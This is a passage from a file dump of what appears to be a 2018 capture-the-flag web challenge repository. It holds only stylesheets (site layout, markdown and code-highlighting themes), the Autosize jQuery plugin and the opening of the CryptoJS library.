Hei\",sans-serif;margin-left:4px}.menu .menu-sub{float:right;font:400 400 14px \"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\"}.menu-bar{background:#fff;padding:0;height:46px;line-height:46px;border-bottom:1px solid #eeeeef}.menu-bar .menu-sub{line-height:46px}.menu-bar .menu-item{display:inline-block;font-size:14px;height:46px;padding:0 10px;border-left:1px solid #eeeeef}.header-cover{position:relative;background:rgba(0,0,0,.8) no-repeat center center;-webkit-background-size:cover;background-size:cover;height:400px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;font-family:Avenir,Arial,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif}.header-cover .menu{position:absolute;top:0;left:0;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;z-index:9;color:#fff}.header-cover .menu a{color:#fff}.header-cover-container{padding-top:120px;width:100%;height:100%;text-align:center;color:#fff;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(rgba(0,0,0,.3),rgba(0,0,0,0));background:linear-gradient(rgba(0,0,0,.3),rgba(0,0,0,0))}.header-cover .avatar{display:inline-block;margin-bottom:20px}.header-cover .avatar img{width:120px;height:120px;border-radius:50%}.header-cover .header-title{font-size:28px;font-weight:500;line-height:1;padding:0;margin:0;text-shadow:5px 5px 0 rgba(0,0,0,.064);font-family:Optima,Georgia,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",serif;-webkit-font-smoothing:antialiased}.header-cover .header-title a{color:#fff;text-decoration:none}.header-cover .header-description{text-shadow:5px 5px 0 rgba(0,0,0,.064)}.header-cover .header-button{display:inline-block;margin-top:60px}.menu-sub .menu-buttons{display:inline-block;margin-right:20px}.menu-sub .button{font-size:15px;padding:6px 16px;background-color:rgba(0,0,0,.56)}.menu-sub .menu-buttons .button{margin-left:8px}.header-cover .editable{display:inline-block;padding:2px 10px;line-height:1.4;outline:0;background-color:rgba(0,0,0,.1);border-radius:3px}.item{position:relative}.account-form{max-width:480px;margin:60px auto}.account-form .form-title{font-size:36px}.account-form .form-title a{text-decoration:none}.collaborator-list .item{padding:10px 0;border-bottom:1px solid #eeeeef}.collaborator-list .item .button{position:absolute;right:0;top:20px}.collaborator-list .item a{text-decoration:none}.collaborator-list .item .avatar{float:left;display:inline-block;width:48px;height:48px;margin-right:24px}.collaborator-list .item .photo{width:48px;height:48px}.collaborator-list .item .vcard-info{float:left}.collaborator-list .description{margin:0}.switch-section{position:relative}.switch-section .switch{font-size:11px;position:absolute;bottom:0;right:0}.menu-sidebar .members .photo{width:34px;height:34px;border-radius:3px}.homepage{padding-top:60px}.homepage-intro{float:left;width:60%}.homepage-intro h1{margin-top:0}.homepage-signup{float:right;width:35%}.homepage-signup .field a{text-decoration:none;font-size:14px}@media (max-width:860px){.homepage-intro,.homepage-signup{float:none;width:100%}.homepage-signup{padding-top:40px;border-top:1px solid #eeeeef}}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/g.css",
    "content": "*,h1,h2,h3,h4{ font-family: Verdana,Arial,Microsoft YaHei,sans-serif; color:#666666; word-wrap:break-word;}\n.mt0{ margin-top:0px!important;}\n.mt5{ margin-top:5px!important;}\n.mt10{ margin-top:10px!important;}\n.mt15{ margin-top:15px!important;}\n.mt20{ margin-top:20px!important;}\n.mb0{ margin-bottom:0px!important;}\n.mb5{ margin-bottom:5px!important;}\n.mb10{ margin-bottom:10px!important;}\n.mb15{ margin-bottom:15px!important;}\n.mb20{ margin-bottom:20px!important;}\n/*float*/\n.fl{ float:left!important;}\n.fr{ float:right!important;}\n.fn{ float:none!important;}\nhr{height:0;-moz-box-sizing:content-box;box-sizing:content-box;margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}\n.markdown img, #logo-img{max-width: 100%;height: auto;-webkit-box-shadow: #333 0px 0px 6px;-moz-box-shadow: #333 0px 0px 6px;box-shadow: #333 0px 0px 6px;}\n.img-circle{border-radius:50%}\n.cut-line {margin: 0 5px;color: #D6D6D6;}\na{ color:#0066cc; text-decoration:none;}\na:hover {text-decoration: underline;}\n\n#screen{margin:0 auto; width:960px; }\n#blog-title{margin-left:20px;padding-top:16px;font-size:18pt;font-weight:bold;}\n#blog-title a{text-decoration: none; color: #888;}\n#blog-resume{color:#ccc;margin-left:20px;margin-top:14px;font-style:italic;font-size:10pt;}\n\n#contact-me .social a.google{background:url('/static/images/social/google.png') center no-repeat #c83d20;border:1px solid #C83D20}\n#contact-me .social a.google:hover{border:1px solid #9c3019;;background-color:#9c3019}\n#contact-me .social a.weibo {background: url('/static/images/social/weibo.png') center no-repeat #e32529;border: 1px solid #e32529;}\n#contact-me .social a.weibo:hover{border:1px solid #bd181c;background-color:#bd181c}\n#contact-me .social a.facebook {background: url('/static/images/social/facebook.png') center no-repeat #3b5998;border: 1px solid #3B5998;}\n#contact-me .social a.facebook:hover{border:1px solid #2d4373;background-color:#2d4373;}\n#contact-me .social a.twitter {background: url('/static/images/social/twitter.png') center no-repeat #55cff8;border: 1px solid #55CFF8;}\n#contact-me .social a.twitter:hover{border:1px solid #24c1f6;background-color:#24c1f6}\n#contact-me .social a.github {background: url('/static/images/social/github.png') center no-repeat #afb6ca;border: 1px solid #afb6ca;}\n#contact-me .social a.github:hover{border:1px solid #909ab6;background-color:#909ab6}\n#contact-me .social a.linkedin{background:url('/static/images/social/linkedin.png') center no-repeat #005a87;border:1px solid #005A87;}\n#contact-me .social a.linkedin:hover{border:1px solid #003854;background-color:#003854}\n\n#contact-me .social a {\n-webkit-border-radius: 50%;\n-moz-border-radius: 50%;\n-ms-border-radius: 50%;\n-o-border-radius: 50%;\nborder-radius: 50%;\ndisplay: -moz-inline-stack;\ndisplay: inline-block;\nvertical-align: middle;\nzoom: 1;\ntext-indent: -9999px;\nmargin-right: 5px;\nmargin-bottom: 15px;\nopacity: 0.5;\nwidth: 28px;\nheight: 28px;\n-webkit-transition: 0.3s;\n-moz-transition: 0.3s;\n-o-transition: 0.3s;\ntransition: 0.3s;\n}\n\n.entry-list .item a {\n  color: #666;\n}\n.entry-list .item a:hover {\n  color: #0099cc;\n}\n.entry-list .item .entry-snippet{\n  font-size: 14px;\n  line-height: 30px;\n}\n.entry-list .entry-views {\nposition: absolute;\ndisplay: block;\ntop: 5px;\nright: 0;\npadding: 8px 12px;\nbackground-color: #0099cc;\ncolor: #fff;\nborder-radius: 2px;\n-moz-border-radius: 2px;\n-webkit-border-radius: 2px;\n}\n\n.collection-card a {\n\ttext-decoration: none;\n}\n\n.pagination{display:inline-block;padding-left:0;margin:18px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.428571429;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{background-color:#eee}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#fff;cursor:default;background-color:#428bca;border-color:#428bca}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:17px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}\n\n.entry-meta span {\n\tcolor: #ccc;\n}\n\nfooter {\nborder-top: 1px solid #D8D7CF;\nclear: both;\ncolor: #9A9994;\nfont-size: 12px;\nline-height: 15.4px;\nmargin-top: 15px;\noverflow: hidden;\npadding: 20px 0 40px;\n}\nfooter .site-source {\nbackground: url(\"/static/images/code.png\") no-repeat scroll 0 2px transparent;\nfloat: left;\npadding-left: 46px;\n}\nfooter .sfc-member {float: right;text-align: right;}\nfooter a {color: #403F3C;}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/markdown.css",
    "content": ".markdown {\n  font-size: 14px;\n}\n\n.markdown a {\n  color: #4183C4;\n}\n\n.markdown h1,\n.markdown h2,\n.markdown h3,\n.markdown h4,\n.markdown h5,\n.markdown h6 {\n  line-height: 1.7;\n  padding: 15px 0 0;\n  margin: 0 0 15px;\n  color: #666;\n}\n\n.markdown h1,\n.markdown h2 {\n  border-bottom: 1px solid #EEE;\n}\n\n.markdown h2 {\n  border-bottom: 1px solid #EEE;\n}\n\n.markdown h1 {\n  color: #000;\n  font-size: 33px\n}\n\n.markdown h2 {\n  color: #333;\n  font-size: 28px\n}\n\n.markdown h3 {\n  font-size: 22px\n}\n\n.markdown h4 {\n  font-size: 18px\n}\n\n.markdown h5 {\n  font-size: 14px\n}\n\n.markdown h6 {\n  font-size: 14px\n}\n\n.markdown table {\n  border-collapse: collapse;\n  border-spacing: 0;\n  display: block;\n  overflow: auto;\n  width: 100%;\n  margin: 0 0 9px;\n}\n\n.markdown table th {\n  font-weight: 700\n}\n\n.markdown table th,\n.markdown table td {\n  border: 1px solid #DDD;\n  padding: 6px 13px;\n}\n\n.markdown table tr {\n  background-color: #FFF;\n  border-top: 1px solid #CCC;\n}\n\n.markdown table tr:nth-child(2n) {\n  background-color: #F8F8F8\n}\n\n.markdown li {\n  line-height: 1.6;\n  margin-top: 6px;\n}\n\n.markdown dl dt {\n  font-style: italic;\n  margin-top: 9px;\n}\n\n.markdown dl dd {\n  margin: 0 0 9px;\n  padding: 0 9px;\n}\n\n.markdown blockquote,\n.markdown blockquote p {\n  font-size: 14px;\n  background-color: #f5f5f5;\n}\n\n.markdown > pre {\n  line-height: 1.6;\n  overflow: auto;\n  background: #fff;\n  padding: 6px 10px;\n  border: 1px solid #ddd;\n}\n\n.markdown > pre.linenums {\n  padding: 0;\n}\n\n.markdown > pre > ol.linenums {\n  -webkit-box-shadow: inset 40px 0 0 #f5f5f5, inset 41px 0 0 #ccc;\n  box-shadow: inset 40px 0 0 #f5f5f5, inset 41px 0 0 #ccc;\n}\n\n.markdown > pre > code,\n.markdown > pre > ol.linenums > li > code {\n  white-space: pre;\n  word-wrap: normal;\n}\n\n.markdown > pre > ol.linenums > li > code {\n  padding: 0 10px;\n}\n\n.markdown > pre > ol.linenums > li:first-child {\n  padding-top: 6px;\n}\n\n.markdown > pre > ol.linenums > li:last-child {\n  padding-bottom: 6px;\n}\n\n.markdown > pre > ol.linenums > li {\n  border-left: 1px solid #ddd;\n}\n\n.markdown hr {\n  border: none;\n  color: #ccc;\n  height: 4px;\n  padding: 0;\n  margin: 15px 0;\n  background: transparent url('/static/img/hr.png') repeat-x 0 0;\n}\n\n.markdown blockquote:last-child,\n.markdown ul:last-child,\n.markdown ol:last-child,\n.markdown > pre:last-child,\n.markdown > pre:last-child,\n.markdown p:last-child {\n  margin-bottom: 0;\n}\n\n.markdown .btn {\n  color: #fff;\n}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/prettify.css",
    "content": "/* Author: jmblog */\n/* Project: https://github.com/jmblog/color-themes-for-google-code-prettify */\n/* GitHub Theme */\n/* Pretty printing styles. Used with prettify.js. */\n/* SPAN elements with the classes below are added by prettyprint. */\n/* plain text */\n.pln {\n  color: #333333;\n}\n\n@media screen {\n  /* string content */\n  .str {\n    color: #dd1144;\n  }\n\n  /* a keyword */\n  .kwd {\n    color: #333333;\n  }\n\n  /* a comment */\n  .com {\n    color: #999988;\n  }\n\n  /* a type name */\n  .typ {\n    color: #445588;\n  }\n\n  /* a literal value */\n  .lit {\n    color: #445588;\n  }\n\n  /* punctuation */\n  .pun {\n    color: #333333;\n  }\n\n  /* lisp open bracket */\n  .opn {\n    color: #333333;\n  }\n\n  /* lisp close bracket */\n  .clo {\n    color: #333333;\n  }\n\n  /* a markup tag name */\n  .tag {\n    color: navy;\n  }\n\n  /* a markup attribute name */\n  .atn {\n    color: teal;\n  }\n\n  /* a markup attribute value */\n  .atv {\n    color: #dd1144;\n  }\n\n  /* a declaration */\n  .dec {\n    color: #333333;\n  }\n\n  /* a variable name */\n  .var {\n    color: teal;\n  }\n\n  /* a function name */\n  .fun {\n    color: #990000;\n  }\n}\n/* Use higher contrast and text-weight for printable form. */\n@media print, projection {\n  .str {\n    color: #006600;\n  }\n\n  .kwd {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .com {\n    color: #600;\n    font-style: italic;\n  }\n\n  .typ {\n    color: #404;\n    font-weight: bold;\n  }\n\n  .lit {\n    color: #004444;\n  }\n\n  .pun, .opn, .clo {\n    color: #444400;\n  }\n\n  .tag {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .atn {\n    color: #440044;\n  }\n\n  .atv {\n    color: #006600;\n  }\n}\n\n/* Specify class=linenums on a pre to get line numbering */\nol.linenums {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n\n/* IE indents via margin-left */\nli.L0,\nli.L1,\nli.L2,\nli.L3,\nli.L4,\nli.L5,\nli.L6,\nli.L7,\nli.L8,\nli.L9 {\n  /* */\n}\n\n/* Alternate shading for lines */\nli.L1,\nli.L3,\nli.L5,\nli.L7,\nli.L9 {\n  /* */\n}"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/tomorrow-night-eighties.css",
    "content": "/* Tomorrow Night Eighties Theme */\n/* Original theme - https://github.com/chriskempson/tomorrow-theme */\n\npre {\nfont-family: Consolas, Monaco, Menlo, \"Courier New\", monospace;\ndisplay: block;\npadding: 8.5px;\nmargin: 0 0 9px;\nfont-size: 12px;\nline-height: 1.428571429;\ncolor: #333333;\nword-break: break-all;\nword-wrap: break-word;\nborder: 1px solid #cccccc;\nborder-radius: 4px;\n}\n\n.prettyprint {\n  background: #2d2d2d;\n  font-family: Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, Consolas, monospace;\n  font-size: 12px;\n  line-height: 1.5;\n  border: 1px solid #ccc;\n  padding: 10px;\n}\n\n.pln {\n  color: #cccccc;\n}\n\npre code span {\n    font-family: Consolas, Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, monospace;\n    font-size: 14px;\n}\n\n@media screen {\n  .str {\n    color: #99cc99;\n  }\n\n  .kwd {\n    color: #cc99cc;\n  }\n\n  .com {\n    color: #999999;\n    font-family: Microsoft Yahei;\n    font-size: 11px;\n  }\n\n  .typ {\n    color: #6699cc;\n  }\n\n  .lit {\n    color: #f99157;\n  }\n\n  .pun {\n    color: #cccccc;\n  }\n\n  .opn {\n    color: #cccccc;\n  }\n\n  .clo {\n    color: #cccccc;\n  }\n\n  .tag {\n    color: #f2777a;\n  }\n\n  .atn {\n    color: #f99157;\n  }\n\n  .atv {\n    color: #66cccc;\n  }\n\n  .dec {\n    color: #f99157;\n  }\n\n  .var {\n    color: #f2777a;\n  }\n\n  .fun {\n    color: #6699cc;\n  }\n}\n@media print, projection {\n  .str {\n    color: #006600;\n  }\n\n  .kwd {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .com {\n    color: #600;\n    font-style: italic;\n  }\n\n  .typ {\n    color: #404;\n    font-weight: bold;\n  }\n\n  .lit {\n    color: #004444;\n  }\n\n  .pun, .opn, .clo {\n    color: #444400;\n  }\n\n  .tag {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .atn {\n    color: #440044;\n  }\n\n  .atv {\n    color: #006600;\n  }\n}\n/* Specify class=linenums on a pre to get line numbering */\nol.linenums {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n\n/* IE indents via margin-left */\nli.L0,\nli.L1,\nli.L2,\nli.L3,\nli.L4,\nli.L5,\nli.L6,\nli.L7,\nli.L8,\nli.L9 {\n  /* */\n}\n\n/* Alternate shading for lines */\nli.L1,\nli.L3,\nli.L5,\nli.L7,\nli.L9 {\n  /* */\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/vibrant-ink.css",
    "content": "/* Vibrant Ink Theme */\n/* Original theme - http://alternateidea.com/blog/articles/2006/1/3/textmate-vibrant-ink-theme-and-prototype-bundle */\npre {\nfont-family: Consolas, Monaco, Menlo, \"Courier New\", monospace;\ndisplay: block;\npadding: 8.5px;\nmargin: 0 0 9px;\nfont-size: 12px;\nline-height: 1.428571429;\ncolor: #333333;\nword-break: break-all;\nword-wrap: break-word;\nborder: 1px solid #cccccc;\nborder-radius: 4px;\n}\n\n.prettyprint {\n  background: black;\n  line-height: 1.5;\n  border: 1px solid #ccc;\n  padding: 10px;\n}\n\npre code span {\n    font-family: Consolas, Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, monospace;\n    font-size: 14px;\n}\n\n.pln {\n  color: white;\n}\n\n@media screen {\n  .str {\n    color: #66ff00;\n  }\n\n  .kwd {\n    color: #ff6600;\n  }\n\n  .com {\n    color: #9933cc;\n  }\n\n  .typ {\n    color: #445588;\n  }\n\n  .lit {\n    color: #445588;\n  }\n\n  .pun {\n    color: white;\n  }\n\n  .opn {\n    color: white;\n  }\n\n  .clo {\n    color: white;\n  }\n\n  .tag {\n    color: white;\n  }\n\n  .atn {\n    color: #99cc99;\n  }\n\n  .atv {\n    color: #66ff00;\n  }\n\n  .dec {\n    color: white;\n  }\n\n  .var {\n    color: white;\n  }\n\n  .fun {\n    color: #ffcc00;\n  }\n}\n@media print, projection {\n  .str {\n    color: #006600;\n  }\n\n  .kwd {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .com {\n    color: #600;\n    font-style: italic;\n  }\n\n  .typ {\n    color: #404;\n    font-weight: bold;\n  }\n\n  .lit {\n    color: #004444;\n  }\n\n  .pun, .opn, .clo {\n    color: #444400;\n  }\n\n  .tag {\n    color: #006;\n    font-weight: bold;\n  }\n\n  .atn {\n    color: #440044;\n  }\n\n  .atv {\n    color: #006600;\n  }\n}\n/* Specify class=linenums on a pre to get line numbering */\nol.linenums {\n  margin-top: 0;\n  margin-bottom: 0;\n}\n\n/* IE indents via margin-left */\nli.L0,\nli.L1,\nli.L2,\nli.L3,\nli.L4,\nli.L5,\nli.L6,\nli.L7,\nli.L8,\nli.L9 {\n  /* */\n}\n\n/* Alternate shading for lines */\nli.L1,\nli.L3,\nli.L5,\nli.L7,\nli.L9 {\n  /* */\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/javascript/autosize.js",
    "content": "/*!\n Autosize v1.17.8 - 2013-09-07\n Automatically adjust textarea height based on user input.\n (c) 2013 Jack Moore - http://www.jacklmoore.com/autosize\n license: http://www.opensource.org/licenses/mit-license.php\n */\n(function(e){\"function\"==typeof define&&define.amd?define([\"jquery\"],e):e(window.jQuery||window.$)})(function(e){var t,o={className:\"autosizejs\",append:\"\",callback:!1,resizeDelay:10},i='<textarea tabindex=\"-1\" style=\"position:absolute; top:-999px; left:0; right:auto; bottom:auto; border:0; padding: 0; -moz-box-sizing:content-box; -webkit-box-sizing:content-box; box-sizing:content-box; word-wrap:break-word; height:0 !important; min-height:0 !important; overflow:hidden; transition:none; -webkit-transition:none; -moz-transition:none;\"/>',n=[\"fontFamily\",\"fontSize\",\"fontWeight\",\"fontStyle\",\"letterSpacing\",\"textTransform\",\"wordSpacing\",\"textIndent\"],s=e(i).data(\"autosize\",!0)[0];s.style.lineHeight=\"99px\",\"99px\"===e(s).css(\"lineHeight\")&&n.push(\"lineHeight\"),s.style.lineHeight=\"\",e.fn.autosize=function(i){return this.length?(i=e.extend({},o,i||{}),s.parentNode!==document.body&&e(document.body).append(s),this.each(function(){function o(){var t,o;\"getComputedStyle\"in window?(t=window.getComputedStyle(u),o=u.getBoundingClientRect().width,e.each([\"paddingLeft\",\"paddingRight\",\"borderLeftWidth\",\"borderRightWidth\"],function(e,i){o-=parseInt(t[i],10)}),s.style.width=o+\"px\"):s.style.width=Math.max(p.width(),0)+\"px\"}function a(){var a={};if(t=u,s.className=i.className,d=parseInt(p.css(\"maxHeight\"),10),e.each(n,function(e,t){a[t]=p.css(t)}),e(s).css(a),o(),window.chrome){var r=u.style.width;u.style.width=\"0px\",u.offsetWidth,u.style.width=r}}function r(){var e,n;t!==u?a():o(),s.value=u.value+i.append,s.style.overflowY=u.style.overflowY,n=parseInt(u.style.height,10),s.scrollTop=0,s.scrollTop=9e4,e=s.scrollTop,d&&e>d?(u.style.overflowY=\"scroll\",e=d):(u.style.overflowY=\"hidden\",c>e&&(e=c)),e+=f,n!==e&&(u.style.height=e+\"px\",w&&i.callback.call(u,u))}function l(){clearTimeout(h),h=setTimeout(function(){var e=p.width();e!==g&&(g=e,r())},parseInt(i.resizeDelay,10))}var d,c,h,u=this,p=e(u),f=0,w=e.isFunction(i.callback),z={height:u.style.height,overflow:u.style.overflow,overflowY:u.style.overflowY,wordWrap:u.style.wordWrap,resize:u.style.resize},g=p.width();p.data(\"autosize\")||(p.data(\"autosize\",!0),(\"border-box\"===p.css(\"box-sizing\")||\"border-box\"===p.css(\"-moz-box-sizing\")||\"border-box\"===p.css(\"-webkit-box-sizing\"))&&(f=p.outerHeight()-p.height()),c=Math.max(parseInt(p.css(\"minHeight\"),10)-f||0,p.height()),p.css({overflow:\"hidden\",overflowY:\"hidden\",wordWrap:\"break-word\",resize:\"none\"===p.css(\"resize\")||\"vertical\"===p.css(\"resize\")?\"none\":\"horizontal\"}),\"onpropertychange\"in u?\"oninput\"in u?p.on(\"input.autosize keyup.autosize\",r):p.on(\"propertychange.autosize\",function(){\"value\"===event.propertyName&&r()}):p.on(\"input.autosize\",r),i.resizeDelay!==!1&&e(window).on(\"resize.autosize\",l),p.on(\"autosize.resize\",r),p.on(\"autosize.resizeIncludeStyle\",function(){t=null,r()}),p.on(\"autosize.destroy\",function(){t=null,clearTimeout(h),e(window).off(\"resize\",l),p.off(\"autosize\").off(\".autosize\").css(z).removeData(\"autosize\")}),r())})):this}});\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/javascript/crypto-js.js",
    "content": ";(function (root, factory) {\n\tif (typeof exports === \"object\") {\n\t\t// CommonJS\n\t\tmodule.exports = exports = factory();\n\t}\n\telse if (typeof define === \"function\" && define.amd) {\n\t\t// AMD\n\t\tdefine([], factory);\n\t}\n\telse {\n\t\t// Global (browser)\n\t\troot.CryptoJS = factory();\n\t}\n}(this, function () {\n\n\t/**\n\t * CryptoJS core components.\n\t */\n\tvar CryptoJS = CryptoJS || (function (Math, undefined) {\n\t    /*\n\t     * Local polyfil of Object.create\n\t     */\n\t    var create = Object.create || (function () {\n\t        function F() {};\n\n\t        return function (obj) {\n\t            var subtype;\n\n\t            F.prototype = obj;\n\n\t            subtype = new F();\n\n\t            F.prototype = null;\n\n\t            return subtype;\n\t        };\n\t    }())\n\n\t    /**\n\t     * CryptoJS namespace.\n\t     */\n\t    var C = {};\n\n\t    /**\n\t     * Library namespace.\n\t     */\n\t    var C_lib = C.lib = {};\n\n\t    /**\n\t     * Base object for prototypal inheritance.\n\t     */\n\t    var Base = C_lib.Base = (function () {\n\n\n\t        return {\n\t            /**\n\t             * Creates a new object that inherits from this object.\n\t             *\n\t             * @param {Object} overrides Properties to copy into the new object.\n\t             *\n\t             * @return {Object} The new object.\n\t             *\n\t             * @static\n\t             *\n\t             * @example\n\t             *\n\t             *     var MyType = CryptoJS.lib.Base.extend({\n\t             *         field: 'value',\n\t             *\n\t             *         method: function () {\n\t             *         }\n\t             *     });\n\t             */\n\t            extend: function (overrides) {\n\t                // Spawn\n\t                var subtype = create(this);\n\n\t                // Augment\n\t                if (overrides) {\n\t                    subtype.mixIn(overrides);\n\t                }\n\n\t                // Create default initializer\n\t                if (!subtype.hasOwnProperty('init') || this.init === subtype.init) {\n\t                    subtype.init = function () {\n\t                        subtype.$super.init.apply(this, arguments);\n\t                    };\n\t                }\n\n\t                // Initializer's prototype is the subtype object\n\t                subtype.init.prototype = subtype;\n\n\t                // Reference supertype\n\t                subtype.$super = this;\n\n\t                return subtype;\n\t            },\n\n\t            /**\n\t             * Extends this object and runs the init method.\n\t             * Arguments to create() will be passed to init().\n\t             *\n\t             * @return {Object} The new object.\n\t             *\n\t             * @static\n\t             *\n\t             * @example\n\t             *\n\t             *     var instance = MyType.create();\n\t             */\n\t            create: function () {\n\t                var instance = this.extend();\n\t                instance.init.apply(instance, arguments);\n\n\t                return instance;\n\t            },\n\n\t            /**\n\t             * Initializes a newly created object.\n\t             * Override this method to add some logic when your objects are created.\n\t             *\n\t             * @example\n\t             *\n\t             *     var MyType = CryptoJS.lib.Base.extend({\n\t             *         init: function () {\n\t             *             // ...\n\t             *         }\n\t             *     });\n\t             */\n\t            init: function () {\n\t            },\n\n\t            /**\n\t             * Copies properties into this object.\n\t             *\n\t             * @param {Object} properties The properties to mix in.\n\t             *\n\t             * @example\n\t             *\n\t             *     MyType.mixIn({\n\t             *         field: 'value'\n\t             *     });\n\t             */\n\t            mixIn: function (properties) {\n\t                for (var propertyName in properties) {\n\t                    if (properties.hasOwnProperty(propertyName)) {\n\t                        this[propertyName] = properties[propertyName];\n\t                    }\n\t                }\n\n\t                // IE won't copy toString using the loop above\n\t                if (properties.hasOwnProperty('toString')) {\n\t                    this.toString = properties.toString;\n\t                }\n\t            },\n\n\t            /**\n\t             * Creates a copy of this object.\n\t             *\n\t             * @return {Object} The clone.\n\t             *\n\t             * @example\n\t             *\n\t             *     var clone = instance.clone();\n\t             */\n\t            clone: function () {\n\t                return this.init.prototype.extend(this);\n\t            }\n\t        };\n\t    }());\n\n\t    /**\n\t     * An array of 32-bit words.\n\t     *\n\t     * @property {Array} words The array of 32-bit words.\n\t     * @property {number} sigBytes The number of significant bytes in this word array.\n\t     */\n\t    var WordArray = C_lib.WordArray = Base.extend({\n\t        /**\n\t         * Initializes a newly created word array.\n\t         *\n\t         * @param {Array} words (Optional) An array of 32-bit words.\n\t         * @param {number} sigBytes (Optional) The number of significant bytes in the words.\n\t         *\n\t         * @example\n\t         *\n\t         *     var wordArray = CryptoJS.lib.WordArray.create();\n\t         *     var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607]);\n\t         *     var wordArray = CryptoJS.lib.WordArray.create([0x00010203, 0x04050607], 6);\n\t         */\n\t        init: function (words, sigBytes) {\n\t            words = this.words = words || [];\n\n\t            if (sigBytes != undefined) {\n\t                this.sigBytes = sigBytes;\n\t            } else {\n\t                this.sigBytes = words.length * 4;\n\t            }\n\t        },\n\n\t        /**\n\t         * Converts this word array to a string.\n\t         *\n\t         * @param {Encoder} encoder (Optional) The encoding strategy to use. Default: CryptoJS.enc.Hex\n\t         *\n\t         * @return {string} The stringified word array.\n\t         *\n\t         * @example\n\t         *\n\t         *     var string = wordArray + '';\n\t         *     var string = wordArray.toString();\n\t         *     var string = wordArray.toString(CryptoJS.enc.Utf8);\n\t         */\n\t        toString: function (encoder) {\n\t            return (encoder || Hex).stringify(this);\n\t        },\n\n\t        /**\n\t         * Concatenates a word array to this word array.\n\t         *\n\t         * @param {WordArray} wordArray The word array to append.\n\t         *\n\t         * @return {WordArray} This word array.\n\t         *\n\t         * @example\n\t         *\n\t         *     wordArray1.concat(wordArray2);\n\t         */\n\t        concat: function (wordArray) {\n\t            // Shortcuts\n\t            var thisWords = this.words;\n\t            var thatWords = wordArray.words;\n\t            var thisSigBytes = this.sigBytes;\n\t            var thatSigBytes = wordArray.sigBytes;\n\n\t            // Clamp excess bits\n\t            this.clamp();\n\n\t            // Concat\n\t            if (thisSigBytes % 4) {\n\t                // Copy one byte at a time\n\t                for (var i = 0; i < thatSigBytes; i++) {\n\t                    var thatByte = (thatWords[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff;\n\t                    thisWords[(thisSigBytes + i) >>> 2] |= thatByte << (24 - ((thisSigBytes + i) % 4) * 8);\n\t                }\n\t            } else {\n\t                // Copy one word at a time\n\t                for (var i = 0; i < thatSigBytes; i += 4) {\n\t                    thisWords[(thisSigBytes + i) >>> 2] = thatWords[i >>> 2];\n\t                }\n\t            }\n\t            this.sigBytes += thatSigBytes;\n\n\t            // Chainable\n\t            return this;\n\t        },\n\n\t        /**\n\t         * Removes insignificant bits.\n\t         *\n\t         * @example\n\t         *\n\t         *     wordArray.clamp();\n\t         */\n\t        clamp: function () {\n\t            // Shortcuts\n\t            var words = this.words;\n\t            var sigBytes = this.sigBytes;\n\n\t            // Clamp\n\t            words[sigBytes >>> 2] &= 0xffffffff << (32 - (sigBytes % 4) * 8);\n\t            words.length = Math.ceil(sigBytes / 4);\n\t        },\n\n\t        /**\n\t         * Creates a copy of this word array.\n\t         *\n\t         * @return {WordArray} The clone.\n\t         *\n\t         * @example\n\t         *\n\t         *     var clone = wordArray.clone();\n\t         */\n\t        clone: function () {\n\t            var clone = Base.clone.call(this);\n\t            clone.words = this.words.slice(0);\n\n\t            return clone;\n\t        },\n\n\t        /**\n\t         * Creates a word array filled with random 